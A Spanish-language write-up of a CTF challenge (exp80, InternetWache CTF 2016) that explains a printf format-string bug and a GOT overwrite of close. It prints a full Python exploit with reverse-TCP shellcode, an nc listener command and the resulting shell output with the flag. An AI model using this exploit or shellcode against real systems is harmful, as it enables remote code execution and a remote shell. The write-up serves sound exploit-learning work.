En este post se muestra una solución al reto de exploiting (exp80) en el InternetWache CTF 2016.

Solución

Buenas!! expongo la solución al reto que en este caso es un format string. Vemos la función principal del programa decompilado al que se la llama desde el main y podemos ver como canta la vulnerabilidad :)

void sub_8048786(char *cp, int a2) {
	char buf; // [sp+Ch] [bp-201Ch]@5
	struct sockaddr addr; // [sp+200Ch] [bp-1Ch]@3
	int fd; // [sp+201Ch] [bp-Ch]@1
	fd = socket(2, 1, 0);
	if ( fd == -1 )
	{
		puts("No socket :(");
	}
	else
	{
		*(_DWORD *)&addr.sa_data[2] = inet_addr(cp);
		addr.sa_family = 2;
		*(_WORD *)&addr.sa_data[0] = htons(a2);
		if ( connect(fd, &addr, 0x10u) >= 0 )
		{
			if ( recv(fd, &buf, 0x2000u, 0) >= 0 )
			{
				printf(&buf);
				close(fd);
			}
			else
			{
				puts("No data :(");
			}
		}
		else
		{
			perror("No communication :(\n");
		}
	}
}

Esto ocurre cuando a la variable desde printf no se le da formato predefinido %x, %s … por lo tanto cuando nosotros pongamos en la misma variable uno o más %x va a mostrarnos lo que encuentre en la pila en ese momento. Veamos antes de la llamada a printf.

Lo que hace printf es imprimir por pantalla la variable local que está en la dirección 0xbfffd2dc que empieza con 0x41414141 = AAAA y como lo que le sigue tiene formato predefinido va a empezar a hacer leak de la memoria desde la cima de la pila (variables locales y no el argumento a printf), que es lo que hay? Veamos el stack

y lo que nos contesta el binario (la dirección 0xbfffd30c es porque varía algo el address dentro de gdb y fuera de él, no alarmarse). Empezaría a hacernos leak a partir de 0xbfffd2c4 Por lo tanto cuando se vuelva a encontrar las Aes sabremos la distancia de estas mismas con esp+4 y la dirección que pongamos en lugar de las Aes nos servirá para la explotación.

Hay que decir que el programa hace una conexión inversa hacia donde tu le pongas en el input.

Ahora bien, que ocurre si en el séptimo %x ponemos un %n? Escribirá en esa dirección los bytes escritos hasta el momento. En la direccion 0x41414141. Pero no nos sirve, no? Y si ponemos una dirección de la GOT (Global Offset Table) por ejemplo close? Cuando se llame a close, se consultará lo que hay en la entrada en la GOT de close y se redireccionará la ejecución a lo que haya allí :)

Se puede consultar donde se encuentra esta tabla en el binario con readelf -S (.got.plt)

Podeís ver el funcionamiento de la Global Offset Table y la Procedure Linkage Table en esta muy buena entrada de @danigargu en su blog

http://danigargu.blogspot.com.es/2013/02/got-dereferencing-overwriting-aslrnx.html

Podemos ver como en 0x8049c80 se encuentra close.

Pondremos una dirección ahi donde se encuentre nuesra shellcode que se encontrará en la dirección 0xbffffd03c que es la que se ha leekeado en la primera imagen +0x18 (Stack). En el ctf la dirección que se leekeaba era la dirección 0xffffbcec por lo que la shellcode estaría en esta misma +0x18 = 0xffffbd04. Explico la parte de la sobreescritura. La cadena AAAA.%x.%x.%x.%.%x.%x.%x.%x se puede abreviar tal que AAAA.%7$x y %$hn es para hacer la sobreescritura en un half word. Sobreescribimos la parte baja primero (puede ser al contrario pero salia negativo por lo que vais a ver) queremos en la parte baja el valor 0xbd04 que es 0xbcfc = 48380 más dos direcciones de 4 bytes cada uno y con %7$hn se sobreescribirá en *0x8049c80 = 0xXXXXBD04, después en la parte alta queremos 0xffff que en decimal es 65535 pero tenemos que restar los caracteres escritos ya, por lo que tenemos que restar 65535 – 48380 = 17155 menos las dos direcciones de 4 bytes ya escritos queda 17147 y con %8$hn se sobreescribirá en *0x8049c80 = 0xFFFFXXXX que como anterioremente habiamos escrito ya 0xXXXXBD04 queda la dirección 0xFFFFBD04.

El exploit queda como se puede ver a continuación, todo conexión inversa.

from amnesia import *
from struct import *
import socket, sys
p = lambda x: pack("<L", x)
u = lambda x: unpack("<L", x)[0]
# ip = socket.inet_aton("xx.xx.xx.xx")
# reverse TCP by Nox rhost=ip rport=31337
shellcode = "\x31\xc0\x99\x50\x89\xc3\x43\x52"
shellcode += "\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
shellcode += "\x80\x96\x68" + ip + "\x66"
shellcode += "\x68\x7a\x69\x43\x66\x53\x89\xe1"
shellcode += "\x6a\x10\x51\x56\x89\xe1\xb0\x66"
shellcode += "\x43\xcd\x80\x89\xf3\x6a\x02\x59"
shellcode += "\x6a\x3f\x58\xcd\x80\x49\x79\xf8"
shellcode += "\x31\xc0\x99\x52\x68\x6e\x2f\x73"
shellcode += "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x89\xe2\x53\x89\xe1\xb0\x0b"
shellcode += "\xcd\x80"
# 0x8049c80 close@got.plt
HOST = "192.168.1.15"
PORT = 69
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
	s.bind((HOST, PORT))
except socket.error , msg:
	print "Bind failed. Error code: " + str(msg[0]) + "Error message: " + msg[1]
	sys.exit()
print "Socket bind complete"
s.listen(1)
print "Socket now listening"
conn, addr = s.accept()
print "Connected with " + addr[0] + ":" + str(addr[1])
conn.send(p(0x8049c80) + p(0x8049c82) + "%48380d%7$hn%17147d%8$hn" + shellcode)
conn.close()
s.close()
# nc -vlp 31337
'''
id
uid=1010(exp80) gid=1010(exp80) groups=1010(exp80)
cat flag.txt
IW{YVO_F0RmaTt3d_RMT_Pr1nT3R}
'''

Y esto es todo un saludo a Dani como no!!